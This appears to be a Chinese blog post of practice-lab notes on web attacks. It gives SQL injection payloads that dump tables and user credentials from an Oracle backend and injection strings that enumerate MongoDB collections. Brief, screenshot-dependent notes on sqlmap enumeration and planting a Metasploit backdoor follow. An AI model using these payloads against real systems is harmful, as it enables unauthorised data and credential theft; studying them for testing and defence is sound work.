web攻防——oracle,mongodb

1.oracle

首先

然后

加单引号显位

发现1,2都可以进行注入

#Oracle 参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html

测回显:and 1=2 union select '1','2' from dual

爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual 模糊爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual

爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual

爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual

爆数据:and 1=2 union select user_name,user_pwd from "sns_users"

爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'


2.mongdb

输入id值就可以的到,但是主要它有单引号,我就这么写的话

单引号会包在外面,就会变成字符串,无法执行注入

所以我们要这么输入,来抵消它的单引号

#Mongodb 看代码 参考:https://www.runoob.com/mongodb/mongodb-query.html

f测回显:/new_list.php?id=1'}); return ({title:1,content:'

2 爆库: /new_list.php?id=1'}); return ({title:tojson(db),content:'1

爆表: /new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1

爆字段:/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1 db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。 db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第 一条数据

倒数第一行可以查到0,1,2,就是获取它的表中的数据

查到的表


sqlmap

记得去加引号,防止它加空格

-u 是指定默认的网站,查看是否有注入点,看是什么注入类型

当有注入点,就会出现这个界面

查看数据库权限

如果是true,说明有机会读写文件

--dbs,可以查看说要数据库

--current db查看当前数据库

  -tables -d查看当前数据库的表

查看列名

获取数据

记得清除缓存


对应登录页面的sql注入,先抓包,然后放到txt的文件中,然后用sqlmap去跑,

ver开启交互式

ipconfig就可以查看按个服务器状态栏

将自己的w.txt放到1111.txt

msf

先生成后门

然后写入下载文件

就i可以在msf成功上线

相关推荐

  1. Web安全攻防措施

    2024-02-13 11:32:01       39 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-02-13 11:32:01       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-02-13 11:32:01       106 阅读
  3. 在Django里面运行非项目文件

    2024-02-13 11:32:01       87 阅读
  4. Python语言-面向对象

    2024-02-13 11:32:01       96 阅读

热门阅读

  1. [日常使用] Shell常用命令

    2024-02-13 11:32:01       46 阅读
  2. STM32自学☞PWM驱动舵机(按键控制)

    2024-02-13 11:32:01       49 阅读
  3. Rust语言之哈希表

    2024-02-13 11:32:01       64 阅读
  4. stream流中distinct方法重写equals相关

    2024-02-13 11:32:01       53 阅读
  5. 速盾cdn:香港服务器如何用国内cdn

    2024-02-13 11:32:01       48 阅读
  6. Android 9.0 禁用adb install 安装app功能

    2024-02-13 11:32:01       51 阅读
  7. Python中Pymysql库的常见用法和代码示例

    2024-02-13 11:32:01       60 阅读